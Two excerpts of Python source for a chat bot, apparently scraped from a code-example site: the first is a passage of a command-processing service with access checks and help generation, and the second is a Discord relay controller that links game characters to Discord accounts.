            help_text = self.generate_help(command, description, params,
                                           extended_description)

        if check_access is None:
            check_access = self.access_service.check_access

        if not self.access_service.get_access_level_by_label(access_level):
            self.logger.error(
                "Could not add command '%s': could not find access level '%s'"
                % (command, access_level))
            return

        for channel, label in self.channels.items():
            row = self.db.query_single(
                "SELECT access_level, module, enabled, verified "
                "FROM command_config "
                "WHERE command = ? AND sub_command = ? AND channel = ?",
                [command, sub_command, channel])

            if row is None:
                # add new command commands
                self.db.exec(
                    "INSERT INTO command_config "
                    "(command, sub_command, access_level, channel, module, enabled, verified) "
                    "VALUES (?, ?, ?, ?, ?, 1, 1)",
                    [command, sub_command, access_level, channel, module])
            elif row.verified:
                if row.module != module:
                    self.logger.warning(
                        "module different for different forms of command '%s' and sub_command '%s'"
                        % (command, sub_command))
            else:
                # mark command as verified
                self.db.exec(
                    "UPDATE command_config SET verified = 1, module = ? "
                    "WHERE command = ? AND sub_command = ? AND channel = ?",
                    [module, command, sub_command, channel])

        # save reference to command handler
        r = re.compile(self.get_regex_from_params(params),
                       re.IGNORECASE | re.DOTALL)
        self.handlers[command_key].append({
            "regex": r,
            "callback": handler,
            "help": help_text,
            "description": description,
            "params": params,
            "check_access": check_access
        })

    def register_command_channel(self, label, value):
        if value in self.channels:
            self.logger.error(
                "Could not register command channel '%s': command channel already registered"
                % value)
            return

        self.logger.debug("Registering command channel '%s'" % value)
        self.channels[value] = label

    def is_command_channel(self, channel):
        return channel in self.channels

    def process_command(self, message: str, channel: str, char_id, reply):
        try:
            if self.ban_service.get_ban(char_id):
                # do nothing if character is banned
                self.logger.info(
                    "ignored banned character %d for command '%s'" %
                    (char_id, message))
                return

            message = html.unescape(message)

            command_str, command_args = self.get_command_parts(message)

            # check for command alias
            command_alias = self.command_alias_service.check_for_alias(
                command_str)

            if command_alias:
                command_str, command_args = self.get_command_parts(
                    command_alias + command_args)

            cmd_configs = self.get_command_configs(command_str, channel, 1)
            if cmd_configs:
                # given a list of cmd_configs that are enabled, see if one has regex that matches incoming command_str
                cmd_config, matches, handler = self.get_matches(
                    cmd_configs, command_args)
                if matches:
                    if handler["check_access"](char_id,
                                               cmd_config.access_level):
                        sender = SenderObj(
                            char_id,
                            self.character_service.resolve_char_to_name(
                                char_id, "Unknown(%d)" % char_id))
                        response = handler["callback"](
                            CommandRequest(channel, sender, reply),
                            *self.process_matches(matches, handler["params"]))
                        if response is not None:
                            reply(response)

                        # record command usage
                        self.usage_service.add_usage(
                            command_str, handler["callback"].__qualname__,
                            char_id, channel)
                    else:
                        self.access_denied_response(char_id, cmd_config, reply)
                else:
                    # handlers were found, but no handler regex matched
                    help_text = self.get_help_text(char_id, command_str,
                                                   channel)
                    if help_text:
                        reply(self.format_help_text(command_str, help_text))
                    else:
                        reply("Error! Invalid syntax.")
            else:
                reply("Error! Unknown command <highlight>%s<end>." %
                      command_str)
        except Exception as e:
            self.logger.error("error processing command: %s" % message, e)
            reply("There was an error processing your request.")

    def access_denied_response(self, char_id, cmd_config, reply):
        reply("Error! Access denied.")

    def get_command_parts(self, message):
        parts = message.split(" ", 1)
        if len(parts) == 2:
            return parts[0].lower(), " " + parts[1]
        else:
            return parts[0].lower(), ""

    def get_command_configs(self,
                            command,
                            channel=None,
                            enabled=1,
                            sub_command=None):
        sql = "SELECT command, sub_command, access_level, enabled FROM command_config WHERE command = ?"
        params = [command]
        if channel:
            sql += " AND channel = ?"
            params.append(channel)
        if enabled:
            sql += " AND enabled = ?"
            params.append(enabled)
        if sub_command:
            sql += " AND sub_command = ?"
            params.append(sub_command)

        sql += " ORDER BY sub_command, channel"

        return self.db.query(sql, params)

    def get_matches(self, cmd_configs, command_args):
        for row in cmd_configs:
            command_key = self.get_command_key(row.command, row.sub_command)
            handlers = self.handlers[command_key]
            for handler in handlers:
                # add leading space to search string to normalize input for command params
                matches = handler["regex"].search(command_args)
                if matches:
                    return row, matches, handler
        return None, None, None

    def process_matches(self, matches, params):
        groups = list(matches.groups())

        processed = []
        for param in params:
            processed.append(param.process_matches(groups))
        return processed

    def get_help_text(self, char, command_str, channel):
        data = self.db.query(
            "SELECT command, sub_command, access_level FROM command_config "
            "WHERE command = ? AND channel = ? AND enabled = 1",
            [command_str, channel])

        # filter out commands that character does not have access level for
        data = filter(
            lambda row: self.access_service.check_access(
                char, row.access_level), data)

        def read_help_text(row):
            command_key = self.get_command_key(row.command, row.sub_command)
            return filter(
                lambda x: x is not None,
                map(lambda handler: handler["help"],
                    self.handlers[command_key]))

        content = "\n\n".join(flatmap(read_help_text, data))
        return content if content else None

    def format_help_text(self, topic, help_text):
        return ChatBlob("Help (" + topic + ")", help_text)

    def get_help_file(self, module, help_file):
        if help_file:
            try:
                help_file = "./" + module.replace(".", "/") + "/" + help_file
                with open(help_file) as f:
                    return f.read().strip()
            except FileNotFoundError as e:
                self.logger.error("Error reading help file", e)
        return None

    def get_command_key(self, command, sub_command):
        if sub_command:
            return command + ":" + sub_command
        else:
            return command

    def get_command_key_parts(self, command_str):
        parts = command_str.split(":", 1)
        if len(parts) == 2:
            return parts[0], parts[1]
        else:
            return parts[0], ""

    def get_regex_from_params(self, params):
        # params must be wrapped with line-beginning and line-ending anchors in order to match
        # when no params are specified (eg. "^$")
        return "^" + "".join(map(lambda x: x.get_regex(), params)) + "$"

    def generate_help(self,
                      command,
                      description,
                      params,
                      extended_description=None):
        help_text = description + ":\n" + "<tab><symbol>" + command + " " + " ".join(
            map(lambda x: x.get_name(), params))
        if extended_description:
            help_text += "\n" + extended_description

        return help_text

    def get_handlers(self, command_key):
        return self.handlers.get(command_key, None)

    def handle_private_message(self, packet: server_packets.PrivateMessage):
        # since the command symbol is not required for private messages,
        # the command_str must have length of at least 1 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 1:
            return

        for regex in self.ignore_regexes:
            if regex.search(packet.message):
                return

        if packet.message[:1] == self.setting_service.get(
                "symbol").get_value():
            command_str = packet.message[1:]
        else:
            command_str = packet.message

        self.process_command(
            command_str, self.PRIVATE_MESSAGE, packet.char_id,
            lambda msg: self.bot.send_private_message(packet.char_id, msg))

    def handle_private_channel_message(
            self, packet: server_packets.PrivateChannelMessage):
        # since the command symbol is required in the private channel,
        # the command_str must have length of at least 2 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 2:
            return

        symbol = packet.message[:1]
        command_str = packet.message[1:]
        if symbol == self.setting_service.get("symbol").get_value(
        ) and packet.private_channel_id == self.bot.char_id:
            self.process_command(
                command_str, self.PRIVATE_CHANNEL, packet.char_id,
                lambda msg: self.bot.send_private_channel_message(msg))

    def handle_public_channel_message(
            self, packet: server_packets.PublicChannelMessage):
        # since the command symbol is required in the org channel,
        # the command_str must have length of at least 2 in order to be valid,
        # otherwise it is ignored
        if len(packet.message) < 2:
            return

        symbol = packet.message[:1]
        command_str = packet.message[1:]
        if symbol == self.setting_service.get("symbol").get_value(
        ) and self.public_channel_service.is_org_channel_id(packet.channel_id):
            self.process_command(command_str, self.ORG_CHANNEL, packet.char_id,
                                 lambda msg: self.bot.send_org_message(msg))
Esempio n. 45
0
class DiscordController:
    MESSAGE_SOURCE = "discord"
    COMMAND_CHANNEL = "discord"

    def __init__(self):
        self.dthread = None
        self.dqueue = []
        self.aoqueue = []
        self.logger = Logger(__name__)
        self.client = None
        self.command_handlers = []

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.setting_service = registry.get_instance("setting_service")
        self.event_service = registry.get_instance("event_service")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.text: Text = registry.get_instance("text")
        self.command_service = registry.get_instance("command_service")
        self.ban_service = registry.get_instance("ban_service")
        self.message_hub_service = registry.get_instance("message_hub_service")
        self.pork_service = registry.get_instance("pork_service")
        self.alts_service = registry.get_instance("alts_service")
        self.ts: TranslationService = registry.get_instance(
            "translation_service")
        self.getresp = self.ts.get_response

    def pre_start(self):
        self.event_service.register_event_type("discord_ready")
        self.event_service.register_event_type("discord_message")
        self.event_service.register_event_type("discord_channels")
        self.event_service.register_event_type("discord_command")
        self.event_service.register_event_type("discord_invites")

        self.message_hub_service.register_message_source(self.MESSAGE_SOURCE)

        self.command_service.register_command_channel("Discord",
                                                      self.COMMAND_CHANNEL)

    def start(self):
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS discord_char_link (discord_id BIGINT NOT NULL, char_id INT NOT NULL)"
        )

        self.message_hub_service.register_message_destination(
            self.MESSAGE_SOURCE, self.handle_incoming_relay_message, [
                "private_channel", "org_channel", "websocket_relay",
                "tell_relay", "shutdown_notice"
            ], [self.MESSAGE_SOURCE])

        self.register_discord_command_handler(
            self.discord_link_cmd, "discord",
            [Const("link"), Character("ao_character")])
        self.register_discord_command_handler(self.discord_unlink_cmd,
                                              "discord", [Const("unlink")])

        self.ts.register_translation("module/discord", self.load_discord_msg)

        self.setting_service.register(self.module_name, "discord_enabled",
                                      False, BooleanSettingType(),
                                      "Enable the Discord relay")
        self.setting_service.register(self.module_name, "discord_bot_token",
                                      "", HiddenSettingType(allow_empty=True),
                                      "Discord bot token")
        self.setting_service.register(
            self.module_name, "discord_channel_id", "",
            TextSettingType(allow_empty=True),
            "Discord channel id for relaying messages to and from",
            "You can get the Discord channel ID by right-clicking on a channel name in Discord and then clicking \"Copy ID\""
        )
        self.setting_service.register(self.module_name, "discord_embed_color",
                                      "#00FF00", ColorSettingType(),
                                      "Discord embedded message color")
        self.setting_service.register(
            self.module_name, "relay_color_prefix", "#FCA712",
            ColorSettingType(),
            "Set the prefix color for messages coming from Discord")
        self.setting_service.register(
            self.module_name, "relay_color_name", "#808080",
            ColorSettingType(),
            "Set the color of the name for messages coming from Discord")
        self.setting_service.register(
            self.module_name, "relay_color_message", "#00DE42",
            ColorSettingType(),
            "Set the color of the content for messages coming from Discord")

        self.setting_service.register_change_listener(
            "discord_channel_id", self.update_discord_channel)
        self.setting_service.register_change_listener(
            "discord_enabled", self.update_discord_state)

    def load_discord_msg(self):
        with open("modules/standard/discord/discord.msg",
                  mode="r",
                  encoding="utf-8") as f:
            return hjson.load(f)

    @command(command="discord",
             params=[],
             access_level="member",
             description="See Discord info")
    def discord_cmd(self, request):
        servers = ""
        if self.client and self.client.guilds:
            for server in self.client.guilds:
                invites = self.text.make_tellcmd(
                    self.getresp("module/discord", "get_invite"),
                    "discord getinvite %s" % server.id)
                owner = server.owner.nick or re.sub(
                    pattern=r"#\d+", repl="", string=str(server.owner))
                servers += self.getresp(
                    "module/discord", "server", {
                        "server_name": server.name,
                        "invite": invites,
                        "m_count": str(len(server.members)),
                        "owner": owner
                    })
        else:
            servers += self.getresp("module/discord", "no_server")

        subs = ""
        for channel in self.get_text_channels():
            subs += self.getresp("module/discord", "sub", {
                "server_name": channel.guild.name,
                "channel_name": channel.name
            })
        status = self.getresp(
            "module/discord",
            "connected" if self.is_connected() else "disconnected")
        blob = self.getresp(
            "module/discord", "blob", {
                "connected": status,
                "count": len(self.get_text_channels()),
                "servers": servers,
                "subs": subs
            })

        return ChatBlob(self.getresp("module/discord", "title"), blob)

    @command(command="discord",
             params=[Const("relay")],
             access_level="moderator",
             sub_command="manage",
             description="Setup relaying of channels")
    def discord_relay_cmd(self, request, _):
        connect_link = self.text.make_tellcmd(
            self.getresp("module/discord", "connect"),
            "config setting discord_enabled set true")
        disconnect_link = self.text.make_tellcmd(
            self.getresp("module/discord", "disconnect"),
            "config setting discord_enabled set false")
        constatus = self.getresp(
            "module/discord",
            "connected" if self.is_connected() else "disconnected")
        subs = ""
        for channel in self.get_text_channels():
            select_link = self.text.make_tellcmd(
                "select",
                "config setting discord_channel_id set %s" % channel.id)
            selected = "(selected)" if self.setting_service.get(
                "discord_channel_id").get_value() == channel.id else ""
            subs += self.getresp(
                "module/discord", "relay", {
                    "server_name": channel.guild.name,
                    "channel_name": channel.name,
                    "select": select_link,
                    "selected": selected
                })

        blob = self.getresp(
            "module/discord", "blob_relay", {
                "connected": constatus,
                "connect_link": connect_link,
                "disconnect_link": disconnect_link,
                "count": len(self.get_text_channels()),
                "subs": subs
            })

        return ChatBlob(self.getresp("module/discord", "relay_title"), blob)

    @command(command="discord",
             params=[Const("confirm"), Int("discord_id")],
             access_level="member",
             description="Confirm link of a Discord user")
    def discord_confirm_cmd(self, request, _, discord_id):
        main = self.alts_service.get_main(request.sender.char_id)
        if main.char_id != request.sender.char_id:
            return self.getresp("module/discord", "must_run_from_main",
                                {"char": main.name})

        self.db.exec(
            "DELETE FROM discord_char_link WHERE discord_id = ? OR char_id = ?",
            [discord_id, main.char_id])
        self.db.exec(
            "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)",
            [discord_id, main.char_id])

        return self.getresp("module/discord", "link_success",
                            {"discord_user": discord_id})

    @command(command="discord",
             params=[Const("getinvite"), Int("server_id")],
             access_level="member",
             description="Get an invite for specified server",
             sub_command="getinvite")
    def discord_getinvite_cmd(self, request, _, server_id):
        if self.client and self.client.guilds:
            for server in self.client.guilds:
                if server.id == server_id:
                    self.send_to_discord("get_invite",
                                         (request.sender.name, server))
                    return
        return self.getresp("module/discord", "no_dc", {"id": server_id})

    @timerevent(budatime="1s",
                description="Discord relay queue handler",
                is_hidden=True)
    def handle_discord_queue_event(self, event_type, event_data):
        if self.dqueue:
            dtype, message = self.dqueue.pop(0)

            if dtype == "discord_message":
                if message.channel.type == ChannelType.private or message.content.startswith(
                        self.setting_service.get("symbol").get_value()):
                    self.handle_discord_command_event(message)
                else:
                    self.handle_discord_message_event(message)
            elif dtype == "discord_ready":
                self.send_to_discord(
                    "msg",
                    DiscordTextMessage(
                        f"{self.bot.get_primary_conn().get_char_name()} is now connected."
                    ))

            self.event_service.fire_event(dtype, message)

    @timerevent(budatime="1m",
                description="Ensure the bot is connected to Discord",
                is_enabled=False,
                is_hidden=True,
                run_at_startup=True)
    def handle_connect_event(self, event_type, event_data):
        if not self.is_connected():
            self.connect_discord_client()

    @event(event_type=AltsService.MAIN_CHANGED_EVENT_TYPE,
           description="Update discord character link when a main is changed",
           is_hidden=True)
    def handle_main_changed(self, event_type, event_data):
        old_row = self.db.query_single(
            "SELECT discord_id FROM discord_char_link WHERE char_id = ?",
            [event_data.old_main_id])
        if old_row:
            new_row = self.db.query_single(
                "SELECT discord_id FROM discord_char_link WHERE char_id = ?",
                [event_data.new_main_id])
            if not new_row:
                self.db.exec(
                    "INSERT INTO discord_char_link (discord_id, char_id) VALUES (?, ?)",
                    [old_row.discord_id, event_data.new_main_id])

    @event(event_type="discord_invites",
           description="Handles invite requests",
           is_hidden=True)
    def handle_discord_invite_event(self, event_type, event_data):
        char_name = event_data[0]
        invites = event_data[1]

        blob = ""
        server_invites = ""
        if len(invites) > 0:
            for invite in invites:
                link = self.text.make_chatcmd(
                    self.getresp("module/discord", "join"),
                    "/start %s" % invite.url)
                timeleft = "Permanent" if invite.max_age == 0 else str(
                    datetime.timedelta(seconds=invite.max_age))
                used = str(invite.uses) if invite.uses is not None else "N/A"
                useleft = str(
                    invite.max_uses) if invite.max_uses is not None else "N/A"
                if invite.channel is not None:
                    channel = self.getresp("module/discord", "inv_channel",
                                           {"channel": invite.channel.name})
                else:
                    channel = None
                server_invites += self.getresp(
                    "module/discord", "invite", {
                        "server": invite.guild.name,
                        "link": link,
                        "time_left": timeleft,
                        "count_used": used,
                        "count_left": useleft,
                        "channel": channel
                    })
            blob += self.getresp("module/discord", "blob_invites",
                                 {"invites": server_invites})

        else:
            blob += "No invites currently exist."

        char_id = self.character_service.resolve_char_to_id(char_name)
        self.bot.send_private_message(
            char_id,
            ChatBlob(self.getresp("module/discord", "invite_title"), blob))

    def handle_discord_command_event(self, message):
        if not self.find_discord_command_handler(message):
            reply = partial(self.discord_command_reply,
                            channel=message.channel)
            row = self.db.query_single(
                "SELECT char_id FROM discord_char_link WHERE discord_id = ?",
                [message.author.id])
            if row:
                message_str = self.command_service.trim_command_symbol(
                    message.content)
                self.command_service.process_command(
                    message_str, self.COMMAND_CHANNEL, row.char_id, reply,
                    self.bot.get_primary_conn())
            else:
                reply(self.getresp("module/discord",
                                   "discord_user_not_linked"))

    def handle_discord_message_event(self, message):
        if isinstance(message.author, Member):
            name = message.author.nick or message.author.name
        else:
            name = message.author.name

        chanclr = self.setting_service.get("relay_color_prefix")
        nameclr = self.setting_service.get("relay_color_name")
        mesgclr = self.setting_service.get("relay_color_message")

        formatted_message = "<grey>[</grey>%s<grey>]</grey> %s<grey>:</grey> %s" % (
            chanclr.format_text("Discord"), nameclr.format_text(name),
            mesgclr.format_text(message.content))

        self.message_hub_service.send_message(self.MESSAGE_SOURCE, None, None,
                                              formatted_message)

    def find_discord_command_handler(self, message):
        message_str = self.command_service.trim_command_symbol(message.content)
        command_str, command_args = self.command_service.get_command_parts(
            message_str)
        for handler in self.command_handlers:
            if handler.command == command_str:
                matches = handler.regex.search(command_args)

                if matches:
                    ctx = DictObject({"message": message})

                    handler.callback(
                        ctx,
                        partial(self.discord_command_reply,
                                channel=message.channel),
                        self.command_service.process_matches(
                            matches, handler.params))
                    return True
        return False

    def discord_command_reply(self, content, title=None, channel=None):
        if isinstance(content, ChatBlob):
            if not title:
                title = content.title

            content = content.page_prefix + content.msg + content.page_postfix

        if not title:
            title = "Command"
        title = self.format_message(title)

        if isinstance(content, str):
            msgcolor = self.setting_service.get(
                "discord_embed_color").get_int_value()
            pages = self.text.split_by_separators(self.format_message(content),
                                                  2048)  # discord max is 2048
            num_pages = len(pages)
            page_title = title
            for page_num, page in enumerate(pages, start=1):
                if num_pages > 1:
                    page_title = title + f" (Page {page_num} / {num_pages})"
                self.send_to_discord(
                    "command_reply",
                    DiscordEmbedMessage(page_title, page, msgcolor, channel))
            return

        if isinstance(content, DiscordMessage):
            self.send_to_discord("command_reply", content)
        else:
            self.logger.error("unable to process message for discord: " +
                              content)

    def format_message(self, msg):
        msg = re.sub(r"<header>(.*?)</header>\n?", r"```less\n\1\n```", msg)
        msg = re.sub(r"<header2>(.*?)</header2>\n?", r"```yaml\n\1\n```", msg)
        msg = re.sub(r"<highlight>(.*?)</highlight>", r"`\1`", msg)
        return self.strip_html_tags(msg)

    def register_discord_command_handler(self, callback, command_str, params):
        """Call during start"""
        r = re.compile(self.command_service.get_regex_from_params(params),
                       re.IGNORECASE | re.DOTALL)
        self.command_handlers.append(
            DictObject({
                "callback": callback,
                "command": command_str,
                "params": params,
                "regex": r
            }))

    def connect_discord_client(self):
        token = self.setting_service.get("discord_bot_token").get_value()
        if not token:
            self.logger.warning(
                "Unable to connect to Discord, discord_bot_token has not been set"
            )
        else:
            self.disconnect_discord_client()

            self.client = DiscordWrapper(
                self.setting_service.get("discord_channel_id").get_value(),
                self.dqueue, self.aoqueue)

            self.dthread = threading.Thread(target=self.run_discord_thread,
                                            args=(self.client, token),
                                            daemon=True)
            self.dthread.start()

    def run_discord_thread(self, client, token):
        try:
            self.logger.info("connecting to discord")
            client.loop.create_task(client.start(token))
            client.loop.run_until_complete(client.relay_message())
        except Exception as e:
            self.logger.error("discord connection lost", e)

    def disconnect_discord_client(self):
        if self.client:
            self.client.loop.create_task(
                self.client.logout_with_message(
                    f"{self.bot.get_primary_conn().get_char_name()} is disconnecting..."
                ))
            self.client = None
        if self.dthread:
            self.dthread.join()
            self.dthread = None
        self.dqueue = []
        self.aoqueue = []

    def strip_html_tags(self, html):
        s = MLStripper()
        s.feed(html)
        return s.get_data()

    def discord_link_cmd(self, ctx, reply, args):
        char = args[1]
        if not char.char_id:
            reply(self.getresp("global", "char_not_found",
                               {"char": char.name}))
            return

        main = self.alts_service.get_main(char.char_id)
        if main.char_id != char.char_id:
            reply(self.getresp("module/discord", "must_link_main"))
            return

        author = ctx.message.author
        discord_user = "******" % (author.name, author.discriminator,
                                       author.id)
        blob = self.getresp(
            "module/discord", "confirm_instructions", {
                "discord_user":
                discord_user,
                "confirm_link":
                self.text.make_tellcmd("Confirm",
                                       "discord confirm %d" % author.id)
            })
        self.bot.send_private_message(char.char_id,
                                      ChatBlob("Discord Confirm Link", blob))

        reply(
            self.getresp("module/discord", "link_response",
                         {"char": char.name}))

    def discord_unlink_cmd(self, ctx, reply, args):
        self.db.exec("DELETE FROM discord_char_link WHERE discord_id = ?",
                     [ctx.message.author.id])

        reply(self.getresp("module/discord", "unlink_success"))

    def is_connected(self):
        # not self.client or not self.dthread.is_alive()
        return self.client and self.client.is_ready(
        ) and self.dthread and self.dthread.is_alive()

    def get_char_info_display(self, char_id):
        char_info = self.pork_service.get_character_info(char_id)
        if char_info:
            name = self.strip_html_tags(self.text.format_char_info(char_info))
        else:
            name = self.character_service.resolve_char_to_name(char_id)

        return name

    def send_to_discord(self, message_type, data):
        self.aoqueue.append((message_type, data))

    def handle_incoming_relay_message(self, ctx):
        if not self.is_connected():
            return

        message = DiscordTextMessage(
            self.strip_html_tags(ctx.formatted_message))
        self.send_to_discord("msg", message)

    def get_text_channels(self):
        if self.client:
            return self.client.get_text_channels()
        else:
            return []

    def update_discord_channel(self, setting_name, old_value, new_value):
        if self.client:
            if not self.client.set_channel_id(new_value):
                self.logger.warning(
                    f"Could not find discord channel '{new_value}'")

    def update_discord_state(self, setting_name, old_value, new_value):
        if setting_name == "discord_enabled":
            event_handlers = [
                self.handle_connect_event, self.handle_discord_queue_event,
                self.handle_discord_invite_event
            ]
            for handler in event_handlers:
                event_handler = self.util.get_handler_name(handler)
                event_base_type, event_sub_type = self.event_service.get_event_type_parts(
                    handler.event.event_type)
                self.event_service.update_event_status(event_base_type,
                                                       event_sub_type,
                                                       event_handler,
                                                       1 if new_value else 0)

            if not new_value:
                self.disconnect_discord_client()